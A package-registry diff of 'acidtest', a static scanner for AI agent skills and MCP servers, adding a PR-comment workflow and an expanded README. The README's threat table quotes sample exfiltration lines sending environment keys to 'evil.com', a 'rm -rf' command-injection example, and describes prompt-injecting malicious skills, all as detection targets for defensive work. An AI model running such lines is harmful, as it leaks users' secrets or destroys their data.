acidtest 0.8.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.github/workflows/acidtest-pr-comment.yml +219 -0
- package/README.md +176 -36
- package/dist/analysis/dataflow-graph.d.ts +19 -0
- package/dist/analysis/dataflow-graph.d.ts.map +1 -0
- package/dist/analysis/dataflow-graph.js +365 -0
- package/dist/analysis/dataflow-graph.js.map +1 -0
- package/dist/analysis/dataflow-types.d.ts +86 -0
- package/dist/analysis/dataflow-types.d.ts.map +1 -0
- package/dist/analysis/dataflow-types.js +8 -0
- package/dist/analysis/dataflow-types.js.map +1 -0
- package/dist/analysis/dataflow.test.d.ts +7 -0
- package/dist/analysis/dataflow.test.d.ts.map +1 -0
- package/dist/analysis/dataflow.test.js +257 -0
- package/dist/analysis/dataflow.test.js.map +1 -0
- package/dist/analysis/taint-propagation.d.ts +30 -0
- package/dist/analysis/taint-propagation.d.ts.map +1 -0
- package/dist/analysis/taint-propagation.js +207 -0
- package/dist/analysis/taint-propagation.js.map +1 -0
- package/dist/index.js +1 -1
- package/dist/layers/code.d.ts +1 -1
- package/dist/layers/code.d.ts.map +1 -1
- package/dist/layers/code.js +247 -3
- package/dist/layers/code.js.map +1 -1
- package/dist/layers/code.test.js +196 -0
- package/dist/layers/code.test.js.map +1 -1
- package/dist/layers/crossref.d.ts.map +1 -1
- package/dist/layers/crossref.js +7 -0
- package/dist/layers/crossref.js.map +1 -1
- package/dist/layers/dataflow.d.ts +29 -0
- package/dist/layers/dataflow.d.ts.map +1 -0
- package/dist/layers/dataflow.js +217 -0
- package/dist/layers/dataflow.js.map +1 -0
- package/dist/layers/injection.d.ts.map +1 -1
- package/dist/layers/injection.js +8 -1
- package/dist/layers/injection.js.map +1 -1
- package/dist/layers/permissions.d.ts.map +1 -1
- package/dist/layers/permissions.js +7 -0
- package/dist/layers/permissions.js.map +1 -1
- package/dist/mcp-server.js +1 -1
- package/dist/parsers/parser-interface.d.ts +31 -0
- package/dist/parsers/parser-interface.d.ts.map +1 -0
- package/dist/parsers/parser-interface.js +6 -0
- package/dist/parsers/parser-interface.js.map +1 -0
- package/dist/parsers/parsers.test.d.ts +5 -0
- package/dist/parsers/parsers.test.d.ts.map +1 -0
- package/dist/parsers/parsers.test.js +111 -0
- package/dist/parsers/parsers.test.js.map +1 -0
- package/dist/parsers/python-parser.d.ts +18 -0
- package/dist/parsers/python-parser.d.ts.map +1 -0
- package/dist/parsers/python-parser.js +120 -0
- package/dist/parsers/python-parser.js.map +1 -0
- package/dist/parsers/typescript-parser.d.ts +16 -0
- package/dist/parsers/typescript-parser.d.ts.map +1 -0
- package/dist/parsers/typescript-parser.js +112 -0
- package/dist/parsers/typescript-parser.js.map +1 -0
- package/dist/patterns/dangerous-calls-python.json +220 -0
- package/dist/patterns/dangerous-imports-python.json +256 -0
- package/dist/patterns/insecure-crypto.json +163 -0
- package/dist/patterns/prototype-pollution.json +72 -0
- package/dist/patterns/python-deserialization.json +94 -0
- package/dist/patterns/regex-dos.json +50 -0
- package/dist/patterns/sql-injection.json +91 -0
- package/dist/patterns/xss-injection.json +115 -0
- package/dist/reporter.d.ts.map +1 -1
- package/dist/reporter.js +6 -0
- package/dist/reporter.js.map +1 -1
- package/dist/scanner.d.ts +1 -1
- package/dist/scanner.d.ts.map +1 -1
- package/dist/scanner.js +48 -5
- package/dist/scanner.js.map +1 -1
- package/dist/scanner.test.js +31 -0
- package/dist/scanner.test.js.map +1 -1
- package/dist/schemas/pattern.schema.json +139 -0
- package/dist/test-corpus/validate-corpus.d.ts +7 -0
- package/dist/test-corpus/validate-corpus.d.ts.map +1 -0
- package/dist/test-corpus/validate-corpus.js +341 -0
- package/dist/test-corpus/validate-corpus.js.map +1 -0
- package/dist/types.d.ts +4 -2
- package/dist/types.d.ts.map +1 -1
- package/dist/validation/pattern-validator.d.ts +34 -0
- package/dist/validation/pattern-validator.d.ts.map +1 -0
- package/dist/validation/pattern-validator.js +168 -0
- package/dist/validation/pattern-validator.js.map +1 -0
- package/dist/validation/pattern-validator.test.d.ts +5 -0
- package/dist/validation/pattern-validator.test.d.ts.map +1 -0
- package/dist/validation/pattern-validator.test.js +222 -0
- package/dist/validation/pattern-validator.test.js.map +1 -0
- package/dist/validation/validate-patterns.d.ts +6 -0
- package/dist/validation/validate-patterns.d.ts.map +1 -0
- package/dist/validation/validate-patterns.js +55 -0
- package/dist/validation/validate-patterns.js.map +1 -0
- package/package.json +11 -4
- package/test-fixtures/fixture-no-manifest-node/README.md +4 -0
- package/test-fixtures/fixture-no-manifest-node/index.js +24 -0
- package/test-fixtures/fixture-no-manifest-python/README.md +4 -0
- package/test-fixtures/fixture-no-manifest-python/app.py +24 -0
|
@@ -0,0 +1,219 @@
|
|
|
1
|
+
name: AcidTest Security Scan (PR Comment)
|
|
2
|
+
|
|
3
|
+
on:
|
|
4
|
+
pull_request:
|
|
5
|
+
paths:
|
|
6
|
+
- '**.ts'
|
|
7
|
+
- '**.js'
|
|
8
|
+
- '**.mjs'
|
|
9
|
+
- '**.cjs'
|
|
10
|
+
- 'SKILL.md'
|
|
11
|
+
- 'mcp.json'
|
|
12
|
+
- 'server.json'
|
|
13
|
+
- 'package.json'
|
|
14
|
+
|
|
15
|
+
jobs:
|
|
16
|
+
scan:
|
|
17
|
+
runs-on: ubuntu-latest
|
|
18
|
+
permissions:
|
|
19
|
+
contents: read
|
|
20
|
+
pull-requests: write # Needed to comment on PRs
|
|
21
|
+
|
|
22
|
+
steps:
|
|
23
|
+
- name: Checkout code
|
|
24
|
+
uses: actions/checkout@v4
|
|
25
|
+
|
|
26
|
+
- name: Setup Node.js
|
|
27
|
+
uses: actions/setup-node@v4
|
|
28
|
+
with:
|
|
29
|
+
node-version: '20'
|
|
30
|
+
|
|
31
|
+
- name: Scan with AcidTest
|
|
32
|
+
id: scan
|
|
33
|
+
continue-on-error: true
|
|
34
|
+
run: |
|
|
35
|
+
# Detect if scanning acidtest repo itself
|
|
36
|
+
if [ "${{ github.repository }}" = "currentlycurrently/acidtest" ]; then
|
|
37
|
+
echo "📦 Detected acidtest repository - scanning test fixture"
|
|
38
|
+
npx acidtest@latest scan test-fixtures/fixture-pass --json > results.json || true
|
|
39
|
+
else
|
|
40
|
+
# Regular scan for other repositories
|
|
41
|
+
npx acidtest@latest scan . --json > results.json || true
|
|
42
|
+
fi
|
|
43
|
+
|
|
44
|
+
# Output results for next step
|
|
45
|
+
echo "results<<EOF" >> $GITHUB_OUTPUT
|
|
46
|
+
cat results.json >> $GITHUB_OUTPUT
|
|
47
|
+
echo "EOF" >> $GITHUB_OUTPUT
|
|
48
|
+
|
|
49
|
+
# Check if scan failed
|
|
50
|
+
STATUS=$(jq -r '.status // "ERROR"' results.json)
|
|
51
|
+
if [ "$STATUS" = "FAIL" ] || [ "$STATUS" = "DANGER" ]; then
|
|
52
|
+
echo "scan_failed=true" >> $GITHUB_OUTPUT
|
|
53
|
+
exit 1
|
|
54
|
+
else
|
|
55
|
+
echo "scan_failed=false" >> $GITHUB_OUTPUT
|
|
56
|
+
fi
|
|
57
|
+
|
|
58
|
+
- name: Comment on PR
|
|
59
|
+
if: always()
|
|
60
|
+
uses: actions/github-script@v7
|
|
61
|
+
with:
|
|
62
|
+
script: |
|
|
63
|
+
const fs = require('fs');
|
|
64
|
+
let results;
|
|
65
|
+
|
|
66
|
+
try {
|
|
67
|
+
const data = fs.readFileSync('results.json', 'utf8');
|
|
68
|
+
results = JSON.parse(data);
|
|
69
|
+
} catch (error) {
|
|
70
|
+
// If parsing failed, create error result
|
|
71
|
+
results = {
|
|
72
|
+
status: 'ERROR',
|
|
73
|
+
error: 'Failed to parse scan results',
|
|
74
|
+
score: 0
|
|
75
|
+
};
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
const statusEmoji = {
|
|
79
|
+
'PASS': '✅',
|
|
80
|
+
'WARN': '⚠️',
|
|
81
|
+
'FAIL': '❌',
|
|
82
|
+
'DANGER': '🔴',
|
|
83
|
+
'ERROR': '⚠️'
|
|
84
|
+
};
|
|
85
|
+
|
|
86
|
+
const statusColor = {
|
|
87
|
+
'PASS': '🟢',
|
|
88
|
+
'WARN': '🟡',
|
|
89
|
+
'FAIL': '🟠',
|
|
90
|
+
'DANGER': '🔴',
|
|
91
|
+
'ERROR': '⚪'
|
|
92
|
+
};
|
|
93
|
+
|
|
94
|
+
let comment = `## ${statusEmoji[results.status]} AcidTest Security Scan\n\n`;
|
|
95
|
+
|
|
96
|
+
if (results.status === 'ERROR') {
|
|
97
|
+
comment += `**Status:** Error during scan\n`;
|
|
98
|
+
comment += `**Message:** ${results.error || 'Unknown error'}\n\n`;
|
|
99
|
+
} else {
|
|
100
|
+
// Score bar
|
|
101
|
+
const score = results.score || 0;
|
|
102
|
+
const bars = Math.floor(score / 10);
|
|
103
|
+
const emptyBars = 10 - bars;
|
|
104
|
+
const scoreBar = '█'.repeat(bars) + '░'.repeat(emptyBars);
|
|
105
|
+
|
|
106
|
+
comment += `**Score:** ${score}/100 ${scoreBar}\n`;
|
|
107
|
+
comment += `**Status:** ${statusColor[results.status]} ${results.status}\n\n`;
|
|
108
|
+
|
|
109
|
+
if (results.findings && results.findings.length > 0) {
|
|
110
|
+
// Count by severity
|
|
111
|
+
const counts = {
|
|
112
|
+
CRITICAL: results.findings.filter(f => f.severity === 'CRITICAL').length,
|
|
113
|
+
HIGH: results.findings.filter(f => f.severity === 'HIGH').length,
|
|
114
|
+
MEDIUM: results.findings.filter(f => f.severity === 'MEDIUM').length,
|
|
115
|
+
LOW: results.findings.filter(f => f.severity === 'LOW').length,
|
|
116
|
+
INFO: results.findings.filter(f => f.severity === 'INFO').length
|
|
117
|
+
};
|
|
118
|
+
|
|
119
|
+
comment += `### Summary\n\n`;
|
|
120
|
+
if (counts.CRITICAL > 0) comment += `- 🔴 **${counts.CRITICAL}** Critical\n`;
|
|
121
|
+
if (counts.HIGH > 0) comment += `- 🟠 **${counts.HIGH}** High\n`;
|
|
122
|
+
if (counts.MEDIUM > 0) comment += `- 🟡 **${counts.MEDIUM}** Medium\n`;
|
|
123
|
+
if (counts.LOW > 0) comment += `- 🔵 **${counts.LOW}** Low\n`;
|
|
124
|
+
if (counts.INFO > 0) comment += `- ⚪ **${counts.INFO}** Info\n`;
|
|
125
|
+
comment += `\n`;
|
|
126
|
+
|
|
127
|
+
// Show top 5 findings
|
|
128
|
+
comment += `### Top Findings\n\n`;
|
|
129
|
+
const topFindings = results.findings
|
|
130
|
+
.filter(f => f.severity === 'CRITICAL' || f.severity === 'HIGH')
|
|
131
|
+
.slice(0, 5);
|
|
132
|
+
|
|
133
|
+
if (topFindings.length > 0) {
|
|
134
|
+
topFindings.forEach(f => {
|
|
135
|
+
const emoji = f.severity === 'CRITICAL' ? '🔴' : '🟠';
|
|
136
|
+
comment += `${emoji} **${f.severity}**: ${f.title}\n`;
|
|
137
|
+
if (f.file && f.line) {
|
|
138
|
+
comment += ` - \`${f.file}:${f.line}\`\n`;
|
|
139
|
+
} else if (f.file) {
|
|
140
|
+
comment += ` - \`${f.file}\`\n`;
|
|
141
|
+
}
|
|
142
|
+
if (f.detail) {
|
|
143
|
+
comment += ` - ${f.detail}\n`;
|
|
144
|
+
}
|
|
145
|
+
comment += `\n`;
|
|
146
|
+
});
|
|
147
|
+
} else {
|
|
148
|
+
// Show other findings if no CRITICAL/HIGH
|
|
149
|
+
results.findings.slice(0, 5).forEach(f => {
|
|
150
|
+
const emoji = f.severity === 'MEDIUM' ? '🟡' : f.severity === 'LOW' ? '🔵' : '⚪';
|
|
151
|
+
comment += `${emoji} **${f.severity}**: ${f.title}\n`;
|
|
152
|
+
if (f.file && f.line) {
|
|
153
|
+
comment += ` - \`${f.file}:${f.line}\`\n`;
|
|
154
|
+
} else if (f.file) {
|
|
155
|
+
comment += ` - \`${f.file}\`\n`;
|
|
156
|
+
}
|
|
157
|
+
comment += `\n`;
|
|
158
|
+
});
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
if (results.findings.length > 5) {
|
|
162
|
+
comment += `\n<details>\n<summary>Show all ${results.findings.length} findings</summary>\n\n`;
|
|
163
|
+
results.findings.slice(5).forEach(f => {
|
|
164
|
+
const emoji = {
|
|
165
|
+
'CRITICAL': '🔴',
|
|
166
|
+
'HIGH': '🟠',
|
|
167
|
+
'MEDIUM': '🟡',
|
|
168
|
+
'LOW': '🔵',
|
|
169
|
+
'INFO': '⚪'
|
|
170
|
+
}[f.severity] || '⚪';
|
|
171
|
+
comment += `${emoji} **${f.severity}**: ${f.title}`;
|
|
172
|
+
if (f.file) comment += ` (\`${f.file}\`)`;
|
|
173
|
+
comment += `\n`;
|
|
174
|
+
});
|
|
175
|
+
comment += `\n</details>\n`;
|
|
176
|
+
}
|
|
177
|
+
} else {
|
|
178
|
+
comment += '### ✅ No security issues detected!\n\n';
|
|
179
|
+
comment += 'This skill/server appears safe to use.\n';
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
if (results.recommendation) {
|
|
183
|
+
comment += `\n### Recommendation\n\n`;
|
|
184
|
+
comment += `${results.recommendation}\n`;
|
|
185
|
+
}
|
|
186
|
+
}
|
|
187
|
+
|
|
188
|
+
comment += `\n---\n`;
|
|
189
|
+
comment += `<sub>Scanned with [AcidTest v${results.version || '0.8.0'}](https://github.com/currentlycurrently/acidtest)</sub>`;
|
|
190
|
+
|
|
191
|
+
// Find existing comment
|
|
192
|
+
const { data: comments } = await github.rest.issues.listComments({
|
|
193
|
+
owner: context.repo.owner,
|
|
194
|
+
repo: context.repo.repo,
|
|
195
|
+
issue_number: context.issue.number,
|
|
196
|
+
});
|
|
197
|
+
|
|
198
|
+
const botComment = comments.find(comment =>
|
|
199
|
+
comment.user.type === 'Bot' &&
|
|
200
|
+
comment.body.includes('AcidTest Security Scan')
|
|
201
|
+
);
|
|
202
|
+
|
|
203
|
+
if (botComment) {
|
|
204
|
+
// Update existing comment
|
|
205
|
+
await github.rest.issues.updateComment({
|
|
206
|
+
owner: context.repo.owner,
|
|
207
|
+
repo: context.repo.repo,
|
|
208
|
+
comment_id: botComment.id,
|
|
209
|
+
body: comment
|
|
210
|
+
});
|
|
211
|
+
} else {
|
|
212
|
+
// Create new comment
|
|
213
|
+
await github.rest.issues.createComment({
|
|
214
|
+
owner: context.repo.owner,
|
|
215
|
+
repo: context.repo.repo,
|
|
216
|
+
issue_number: context.issue.number,
|
|
217
|
+
body: comment
|
|
218
|
+
});
|
|
219
|
+
}
|
package/README.md
CHANGED
|
@@ -26,39 +26,54 @@
|
|
|
26
26
|
|
|
27
27
|
## The Problem
|
|
28
28
|
|
|
29
|
-
The AI agent
|
|
29
|
+
**February 2026: The AI agent security crisis went mainstream.**
|
|
30
30
|
|
|
31
|
+
Researchers discovered **341 malicious skills on ClawHub** (12% of all published skills):
|
|
32
|
+
- **ClawHavoc campaign:** 335 infostealer packages deploying Atomic macOS Stealer
|
|
33
|
+
- **283 skills leaking credentials** (7.1% of ecosystem)
|
|
34
|
+
- **1,467 security flaws** found by Snyk across 3,984 scanned skills (36.82%)
|
|
35
|
+
- **30,000+ exposed OpenClaw instances** on the public internet
|
|
36
|
+
|
|
37
|
+
The ecosystem is growing faster than security can keep up:
|
|
31
38
|
- **No centralized vetting**: Unlike mobile app stores, there's no security review before skills are published
|
|
32
39
|
- **Broad permissions**: Skills can request file system access, environment variables, and network calls
|
|
33
40
|
- **Supply chain risks**: Dependencies and third-party code run with full skill permissions
|
|
34
41
|
- **Prompt injection**: Malicious skills can manipulate AI behavior through carefully crafted prompts
|
|
35
|
-
- **Credential harvesting**: Skills requesting API keys and tokens without proper justification
|
|
36
|
-
|
|
37
|
-
Recent ecosystem incidents highlight these risks:
|
|
38
|
-
- Mass uploads of malicious skills to public marketplaces
|
|
39
|
-
- Skills with undeclared network calls exfiltrating data
|
|
40
|
-
- Obfuscated code hiding malicious behavior
|
|
41
|
-
- Permission escalation through dynamic imports
|
|
42
42
|
|
|
43
43
|
**AcidTest provides security scanning before installation**, helping you identify risks before they reach your system.
|
|
44
44
|
|
|
45
|
+
Industry response:
|
|
46
|
+
- OpenClaw integrated VirusTotal scanning (February 7, 2026)
|
|
47
|
+
- Cisco released an LLM-based Skill Scanner
|
|
48
|
+
- Snyk published ToxicSkills research
|
|
49
|
+
|
|
50
|
+
**AcidTest's differentiator:** Dataflow analysis. We track data flow from sources to sinks, catching multi-step attacks that pattern matching alone misses.
|
|
51
|
+
|
|
45
52
|
## Quick Start
|
|
46
53
|
```bash
|
|
47
54
|
# See AcidTest in action
|
|
48
55
|
npx acidtest demo
|
|
49
56
|
|
|
50
|
-
# Scan
|
|
57
|
+
# Scan ANY AI agent code (works on any Python/TypeScript project)
|
|
51
58
|
npx acidtest scan ./my-skill
|
|
52
|
-
|
|
53
|
-
# Scan an MCP server
|
|
54
59
|
npx acidtest scan ./my-mcp-server
|
|
60
|
+
npx acidtest scan ./downloaded-from-clawhub
|
|
61
|
+
|
|
62
|
+
# No manifest required - we scan the code anyway
|
|
63
|
+
npx acidtest scan ./suspicious-python-script
|
|
55
64
|
```
|
|
56
65
|
|
|
57
|
-
No API keys. No configuration
|
|
66
|
+
**No manifest required. No API keys. No configuration.** Works with AgentSkills, MCP servers, or any Python/TypeScript code.
|
|
67
|
+
|
|
68
|
+
**What makes us different:**
|
|
69
|
+
- ✅ Scans code even without SKILL.md or mcp.json
|
|
70
|
+
- ✅ Dataflow analysis tracks multi-step attacks
|
|
71
|
+
- ✅ 104 patterns across 14 threat categories
|
|
72
|
+
- ✅ Runs completely offline (no cloud uploads)
|
|
58
73
|
|
|
59
74
|
## Example Output
|
|
60
75
|
```
|
|
61
|
-
AcidTest
|
|
76
|
+
AcidTest v1.0.0
|
|
62
77
|
|
|
63
78
|
Scanning: proactive-agent
|
|
64
79
|
Source: test-skills/proactive-agent-1-2-4-1
|
|
@@ -88,15 +103,17 @@ RECOMMENDATION: Do not install. Prompt injection attempt detected.
|
|
|
88
103
|
|
|
89
104
|
## What AcidTest Catches
|
|
90
105
|
|
|
91
|
-
| Threat | Example | Detection Method |
|
|
92
|
-
|
|
93
|
-
| **Arbitrary Code Execution** | `eval(userInput)`, `new Function()` | AST analysis + pattern matching |
|
|
94
|
-
| **
|
|
95
|
-
| **
|
|
96
|
-
| **
|
|
97
|
-
| **
|
|
98
|
-
| **
|
|
99
|
-
| **
|
|
106
|
+
| Threat | TypeScript Example | Python Example | Detection Method |
|
|
107
|
+
|--------|-------------------|----------------|------------------|
|
|
108
|
+
| **Arbitrary Code Execution** | `eval(userInput)`, `new Function()` | `eval(user_input)`, `exec(code)` | AST analysis + pattern matching |
|
|
109
|
+
| **Command Injection** | `exec('rm -rf ' + dir)` | `subprocess.run(cmd, shell=True)` | AST analysis + pattern matching |
|
|
110
|
+
| **Unsafe Deserialization** | N/A | `pickle.loads(data)` | AST analysis + pattern matching |
|
|
111
|
+
| **Data Exfiltration** | `const k = process.env.KEY; fetch('evil.com', {body: k})` | `key = os.environ['KEY']; requests.post('evil.com', data=key)` | Dataflow analysis |
|
|
112
|
+
| **Hardcoded Credentials** | `apiKey = "sk_live_..."` | `API_KEY = "sk_live_..."` | Pattern matching + entropy |
|
|
113
|
+
| **Prompt Injection** | Markdown instruction override | Markdown instruction override | Injection detection layer |
|
|
114
|
+
| **Obfuscation** | Base64/hex encoded payloads | Base64/hex encoded payloads | Shannon entropy analysis |
|
|
115
|
+
| **Supply Chain Attacks** | `require('child_' + 'process')` | `__import__(module_name)` | AST bypass detection |
|
|
116
|
+
| **Permission Escalation** | Undeclared network/filesystem access | Undeclared network/filesystem access | Permission audit + crossref |
|
|
100
117
|
|
|
101
118
|
**What AcidTest Doesn't Catch:**
|
|
102
119
|
- Zero-day exploits in Node.js itself
|
|
@@ -104,20 +121,28 @@ RECOMMENDATION: Do not install. Prompt injection attempt detected.
|
|
|
104
121
|
- Runtime behavior outside static analysis scope
|
|
105
122
|
- Sophisticated polymorphic code or advanced VM-level evasion
|
|
106
123
|
|
|
107
|
-
See [METHODOLOGY.md](./METHODOLOGY.md) for full transparency on capabilities and limitations (
|
|
124
|
+
See [METHODOLOGY.md](./METHODOLOGY.md) for full transparency on capabilities and limitations (90-95% detection rate with dataflow).
|
|
108
125
|
|
|
109
126
|
## How It Works
|
|
110
127
|
|
|
111
|
-
AcidTest runs
|
|
128
|
+
AcidTest runs five analysis layers:
|
|
112
129
|
1. **Permission Audit**: Analyzes declared permissions (bins, env, tools)
|
|
113
130
|
2. **Prompt Injection Scan**: Detects instruction override attempts (AgentSkills)
|
|
114
|
-
3. **Code Analysis**:
|
|
131
|
+
3. **Code Analysis**: Multi-language AST analysis + Shannon entropy detection for obfuscation
|
|
115
132
|
4. **Cross-Reference**: Catches code behavior not matching declared permissions
|
|
133
|
+
5. **Dataflow Analysis** ✨ NEW: Tracks taint flow from sources (env vars, user input) to dangerous sinks (exec, fetch)
|
|
134
|
+
|
|
135
|
+
**Language Support:**
|
|
136
|
+
- **TypeScript/JavaScript**: Full AST analysis with 59 security patterns
|
|
137
|
+
- **Python**: Full AST analysis with 45 Python-specific patterns (tree-sitter based)
|
|
138
|
+
- Detects eval/exec, subprocess injection, unsafe deserialization, SQL injection, XSS, and more
|
|
116
139
|
|
|
117
140
|
**Advanced Features:**
|
|
118
|
-
-
|
|
119
|
-
-
|
|
120
|
-
-
|
|
141
|
+
- **104 security patterns** across 14 categories (SQL injection, XSS, insecure crypto, prototype pollution, etc.)
|
|
142
|
+
- **Multi-step attack detection**: Tracks data flow through assignments, properties, and function calls
|
|
143
|
+
- **Entropy analysis**: Detects base64/hex encoding and obfuscated strings
|
|
144
|
+
- **Context-aware detection**: shell=True, SafeLoader, dangerouslySetInnerHTML, etc.
|
|
145
|
+
- **CI/CD integration**: GitHub Actions and pre-commit hooks
|
|
121
146
|
|
|
122
147
|
Works with both SKILL.md (AgentSkills) and MCP manifests (mcp.json, server.json, package.json).
|
|
123
148
|
|
|
@@ -136,6 +161,32 @@ Works with both SKILL.md (AgentSkills) and MCP manifests (mcp.json, server.json,
|
|
|
136
161
|
|
|
137
162
|
**Defense-in-depth approach:** Use AcidTest **with** `npm audit` and sandboxing for comprehensive security.
|
|
138
163
|
|
|
164
|
+
## What Makes Us Different
|
|
165
|
+
|
|
166
|
+
The ClawHub crisis triggered a wave of security tools. Here's how we compare:
|
|
167
|
+
|
|
168
|
+
**vs. Cisco Skill Scanner:** They use LLM-as-judge (semantic inspection). We use dataflow analysis (deterministic, free, explainable).
|
|
169
|
+
|
|
170
|
+
**vs. VirusTotal:** They use malware signatures (hash-based). We use static analysis (behavior-based). Use both: VirusTotal for known threats, AcidTest for novel attacks.
|
|
171
|
+
|
|
172
|
+
**vs. Snyk:** They did excellent research (ToxicSkills report). We built a tool you can run locally today.
|
|
173
|
+
|
|
174
|
+
**vs. Clawhatch:** They have 128 regex checks. We have 104 AST patterns + dataflow/taint propagation.
|
|
175
|
+
|
|
176
|
+
**Our unique value:** Layer 5 Dataflow Analysis tracks data from sources (env vars, user input) through assignments and function calls to dangerous sinks (exec, eval, fetch).
|
|
177
|
+
|
|
178
|
+
Example of what dataflow catches that pattern matching misses:
|
|
179
|
+
```python
|
|
180
|
+
# Pattern matching: "subprocess imported" → MEDIUM
|
|
181
|
+
# Dataflow: "user input → subprocess shell=True" → CRITICAL
|
|
182
|
+
|
|
183
|
+
cmd = sys.argv[1] # SOURCE
|
|
184
|
+
subprocess.call(f"echo {cmd}", shell=True) # SINK
|
|
185
|
+
# AcidTest detects the 2-step command injection path
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
See [METHODOLOGY.md](./METHODOLOGY.md) for technical details.
|
|
189
|
+
|
|
139
190
|
## Install
|
|
140
191
|
```bash
|
|
141
192
|
npm install -g acidtest
|
|
@@ -274,13 +325,38 @@ User: "Can you scan this MCP server before I install it?"
|
|
|
274
325
|
Claude: [Uses acidtest scan_skill tool to analyze the server]
|
|
275
326
|
```
|
|
276
327
|
|
|
328
|
+
### Quick Start with Template
|
|
329
|
+
|
|
330
|
+
The fastest way to start building secure AI agent skills:
|
|
331
|
+
|
|
332
|
+
```bash
|
|
333
|
+
# Use the template repository
|
|
334
|
+
# Visit: https://github.com/currentlycurrently/acidtest/tree/main/template-repo
|
|
335
|
+
|
|
336
|
+
# Or manually create a new skill
|
|
337
|
+
mkdir my-skill && cd my-skill
|
|
338
|
+
npm init -y
|
|
339
|
+
echo '---\nname: my-skill\n---\n# My Skill' > SKILL.md
|
|
340
|
+
|
|
341
|
+
# Add AcidTest to CI/CD
|
|
342
|
+
mkdir -p .github/workflows
|
|
343
|
+
curl -o .github/workflows/acidtest.yml https://raw.githubusercontent.com/currentlycurrently/acidtest/main/template-repo/.github/workflows/acidtest.yml
|
|
344
|
+
```
|
|
345
|
+
|
|
346
|
+
The [template repository](./template-repo/) includes:
|
|
347
|
+
- ✅ AcidTest pre-configured
|
|
348
|
+
- ✅ GitHub Actions workflow with PR comments
|
|
349
|
+
- ✅ TypeScript setup
|
|
350
|
+
- ✅ Best practices guide
|
|
351
|
+
- ✅ Example handler
|
|
352
|
+
|
|
277
353
|
### Use in CI/CD
|
|
278
354
|
|
|
279
355
|
Automate security scanning in your GitHub Actions workflows.
|
|
280
356
|
|
|
281
357
|
#### Quick Setup
|
|
282
358
|
|
|
283
|
-
Copy this workflow to `.github/workflows/acidtest.yml
|
|
359
|
+
Copy this workflow to `.github/workflows/acidtest.yml`:
|
|
284
360
|
|
|
285
361
|
```yaml
|
|
286
362
|
name: Security Scan
|
|
@@ -301,11 +377,47 @@ jobs:
|
|
|
301
377
|
fi
|
|
302
378
|
```
|
|
303
379
|
|
|
304
|
-
|
|
305
|
-
|
|
306
|
-
|
|
307
|
-
|
|
308
|
-
|
|
380
|
+
#### PR Comments (Recommended)
|
|
381
|
+
|
|
382
|
+
Automatically comment on pull requests with detailed scan results:
|
|
383
|
+
|
|
384
|
+
```yaml
|
|
385
|
+
name: AcidTest Security Scan
|
|
386
|
+
|
|
387
|
+
on:
|
|
388
|
+
pull_request:
|
|
389
|
+
paths: ['**.ts', '**.js', 'SKILL.md', 'mcp.json']
|
|
390
|
+
|
|
391
|
+
jobs:
|
|
392
|
+
scan:
|
|
393
|
+
runs-on: ubuntu-latest
|
|
394
|
+
permissions:
|
|
395
|
+
contents: read
|
|
396
|
+
pull-requests: write
|
|
397
|
+
|
|
398
|
+
steps:
|
|
399
|
+
- uses: actions/checkout@v4
|
|
400
|
+
- uses: actions/setup-node@v4
|
|
401
|
+
with:
|
|
402
|
+
node-version: '20'
|
|
403
|
+
|
|
404
|
+
- name: Run AcidTest
|
|
405
|
+
run: npx acidtest@latest scan . --json > results.json || true
|
|
406
|
+
|
|
407
|
+
# ... (PR comment script)
|
|
408
|
+
```
|
|
409
|
+
|
|
410
|
+
See [`.github/workflows/acidtest-pr-comment.yml`](.github/workflows/acidtest-pr-comment.yml) for the complete PR comment workflow.
|
|
411
|
+
|
|
412
|
+
#### Security Badge
|
|
413
|
+
|
|
414
|
+
Show that your skill is security-scanned:
|
|
415
|
+
|
|
416
|
+
```markdown
|
|
417
|
+
[](https://github.com/currentlycurrently/acidtest)
|
|
418
|
+
```
|
|
419
|
+
|
|
420
|
+
Displays: [](https://github.com/currentlycurrently/acidtest)
|
|
309
421
|
|
|
310
422
|
#### Pre-Commit Hook
|
|
311
423
|
|
|
@@ -338,6 +450,32 @@ TODO: Add testimonials from dogfooding campaign (Task 1 - Phase 2)
|
|
|
338
450
|
> — [Company Name]
|
|
339
451
|
-->
|
|
340
452
|
|
|
453
|
+
## Our Take on the Crisis
|
|
454
|
+
|
|
455
|
+
The ClawHub security findings (341 malicious skills, 12%) are a wake-up call, but not a death sentence.
|
|
456
|
+
|
|
457
|
+
**What we believe:**
|
|
458
|
+
|
|
459
|
+
**1. The crisis is real, but concentrated**
|
|
460
|
+
- 90% of skills are secure (our validation: 145/161 PASS)
|
|
461
|
+
- ClawHavoc campaign = 335 of 341 malicious skills
|
|
462
|
+
- Ecosystem can recover with better tooling
|
|
463
|
+
|
|
464
|
+
**2. No single tool is the answer**
|
|
465
|
+
Defense-in-depth means using multiple layers:
|
|
466
|
+
- AcidTest (pre-install static analysis)
|
|
467
|
+
- npm audit (dependency vulnerabilities)
|
|
468
|
+
- VirusTotal (known malware)
|
|
469
|
+
- Sandboxing (runtime isolation)
|
|
470
|
+
|
|
471
|
+
**3. Transparency builds trust**
|
|
472
|
+
We're honest about our ~90-95% detection rate. We document what we can't catch. We show our work in [METHODOLOGY.md](./METHODOLOGY.md).
|
|
473
|
+
|
|
474
|
+
**4. Open source is the path forward**
|
|
475
|
+
Proprietary scanners create vendor lock-in. Our 104 patterns are JSON files you can review, improve, and contribute to.
|
|
476
|
+
|
|
477
|
+
**Scan before you install. Make it a habit.**
|
|
478
|
+
|
|
341
479
|
## Contributing
|
|
342
480
|
|
|
343
481
|
Detection patterns are JSON files in `src/patterns/`. Add new patterns and submit a PR.
|
|
@@ -348,9 +486,11 @@ MIT
|
|
|
348
486
|
|
|
349
487
|
## Documentation
|
|
350
488
|
|
|
351
|
-
- [
|
|
352
|
-
- [Roadmap](./ROADMAP.md) - Planned features and enhancements
|
|
489
|
+
- [Methodology](./METHODOLOGY.md) - Security approach and limitations (90-95% detection rate)
|
|
353
490
|
- [Changelog](./CHANGELOG.md) - Version history
|
|
491
|
+
- [Contributing](./CONTRIBUTING.md) - How to add detection patterns
|
|
492
|
+
- [Security Policy](./SECURITY.md) - Responsible disclosure
|
|
493
|
+
- [Template Repository](./template-repo/) - Starter kit with AcidTest pre-configured
|
|
354
494
|
